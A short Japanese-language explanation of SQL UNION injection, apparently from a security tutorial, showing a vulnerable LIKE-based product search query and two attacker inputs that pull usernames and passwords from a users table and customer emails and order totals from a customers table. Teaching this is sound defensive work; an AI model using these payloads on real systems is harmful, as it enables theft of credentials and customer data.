UNION攻撃の実例
脆弱な検索クエリ(商品名検索、3カラムを表示):
SELECT id, name, price FROM products WHERE name LIKE '%[入力]%'
攻撃者の入力:
%' UNION SELECT id, username, password FROM users --
→ 商品一覧の中にユーザー名とパスワードが混ざって表示される
顧客情報を抜く例:
%' UNION SELECT id, email, last_order_total FROM customers --
→ 商品一覧の中に顧客メールアドレスと注文金額が混ざって表示される